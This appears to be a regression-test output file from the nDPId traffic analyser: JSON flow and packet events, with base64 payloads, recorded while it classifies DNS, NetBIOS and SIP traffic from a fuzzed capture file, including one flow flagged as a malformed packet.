+00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":205,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1120470015072,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2744,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00465{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470016,"pkt_ts_usec":67977,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIalsAAIARTPbAqAECwKgBAQq4ADUANOBJScMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00465{"flow_id":79,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470018,"pkt_ts_usec":70838,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIamEAAIARTPDAqAECwKgBAQq4ADUAGOBJScMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1120470019512,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":88,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470019,"pkt_ts_usec":512857,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOamMAAIARS+rAqAECwKgB\/wBYAIkAOluMhQ8BEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAEgAAE="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":210,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1120470019512,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":88,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00465{"flow_id":79,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470020,"pkt_ts_usec":73705,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIamQAAIARTO3AqAECwKgBAQq4ADUANOBJScMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00465{"flow_id":79,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470024,"pkt_ts_usec":79690,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIamUAAIARTOzAqAECwKgBAQq4ADUANOBJScMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":213,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1120470019512,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":88,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":213,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1120470032081,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470032,"pkt_ts_usec":81813,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEamYAAIARTO\/AqAGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1120470032083,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2745,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470032,"pkt_ts_usec":83301,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CrkARxK+9MOAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAfRAACwlsb2NhbGhvc3QA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":214,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1120470032083,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2745,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00414{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470032,"pkt_ts_usec":84958,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"pkt":"ADBUADRWAODtAW69CABFAAAhamcAAIARGKXAqAEC1PIhIxPEE8QADcBLICAgICA="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":216,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1120470032178,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2746,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470032,"pkt_ts_usec":178937,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIO2gAAIARTOnAqAECwKgBAQq6ADUANMsPhMQBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhIAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":216,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1120470032178,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2746,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.voip.brujula.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00451{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":217,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1120470033172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":240,"flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470033,"pkt_ts_usec":172606,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAXO9CABFAABIamkAAIDwTOjAqAECwKgBAQq6ADUANMsPhMQBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp18mEDbmV0AAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":218,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1120470035175,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":2746,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470035,"pkt_ts_usec":175480,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIamoAAIARTOfAqAEiwKgBAQq6ADUANMsPhMQBAAABAAAAiwAABF9zaXAEX3VkcAQlcwBwB2JyVmp1bGEDbmV0AAAhAAE="} +00466{"flow_id":83,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470037,"pkt_ts_usec":178362,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIamsAAIARTObAqAECwKgBAQq6ADUANMsPhMQBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhAAE="} +00466{"flow_id":83,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470041,"pkt_ts_usec":184152,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAKDtAW69CABFAABIamwAAIARTOXAqAECwKgBAQq6ADUANMsPhMQBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhAAE="} +00508{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1120470032081,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1120470032081,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1120470033172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":240,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00452{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1120470033172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":240,"flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1120470032083,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2745,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00658{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1120470035175,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":2746,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1120470035175,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":2746,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1120470049185,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"67.168.1.1","src_port":2747,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":185972,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUAEFWAODtAW69CABFAABEam0AAIARTOjAqAECQ6gBAQq7ADUAMDM+8cUAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":221,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1120470049185,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"67.168.1.1","src_port":2747,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":222,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1120470049187,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2747,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":187466,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtJXMAADBUAG9WCABFAABbAABAAEARnD7AqAEBwKgBAgA1CrsARxW68cWAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":222,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1120470049187,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2747,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1120470049188,"flow_last_seen":0,"flow_tot_l4_data_len":830,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":4932,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01505{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":188993,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"ADBUADRWAODtAW69CABFAANSam4AAIARykzAqAECyER4URPEE0QDPvKbSU5WSVRFIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC9hLjCEClZpYTogU0lQLzIuMC9VRFEgMTkyLjE2OC4xLjI6NTA2MDticmFuY2g9ejloR3ZiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQNCldyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2l2LmJydXJqdWxhLm5ldD47dGFnPTY0M1dlZjkNClRvOiA8c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+DQpDYWxsLUlEOiAxMDWwOTAyNTktNDQ2ZmFmN2FAMTkyLjE2OC4xLjINCkNTZXE6IDEgS05WSVRFDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb24gMi4wLjUxLjE2DQpFeHBpcmVzOiAxMjANCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpDb250ZW50LVR5cGU6IGNwcGxpY2F0aW9uL3NkcA0KQ29udGVudC1MZW5ndGg6IDI3Mg0KQ29uJXMAdDogPHNpcHM4MTY2NjZAMTkyLjE2OC4xLjI+DQpNYXgtRm9yd2FyZHM6IDcwDQpBbGxvdzogSU5WSVRFLCBBQ0ssIENBTkNFTCwgQllFLCBSRUZFUizsT1BUSU9OUywgTk9USUZZLCBJTkZPDQoNCnY9MA0Kbz1TSVBQZyAxMDUwMTUxNjUgMTA1MDE1MTYyIElOIElQNCAxOTIuMTY4LjEuMg0Kcz1TSVAgY2FsbA0KYz1JTiBJUDQgMTkyLDE2OA4xLjINCnQ9MCAwDQptPWF1ZGlvIDMwMDAwIFJUUC9BVlAgMCA4IDk3IDIgMw0KYT1ydHBtYXA6MCBwY211LzgwMDANCmE9cnRw32FwOjggcGNtYS84MDAwDQphPXJ0cG1hcDo5NyBpTEJDLzgwMDANCmE9cnRwbWFwOjIgRzcyNi0zIi84MDAwDQphPXJ0cG1hcDozIEdTTS84MDAwDQphPWZtq3BWMTcgbW9kZT0yMA0KYT1zZW5kcmVjdg0K"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1120470049188,"flow_last_seen":0,"flow_tot_l4_data_len":830,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":4932,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":224,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1120470049190,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":190871,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIam8AAIARTOLAqAECwKgBAQq8ADUANCxC\/cYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":224,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1120470049190,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":225,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1120470049696,"flow_last_seen":0,"flow_tot_l4_data_len":830,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 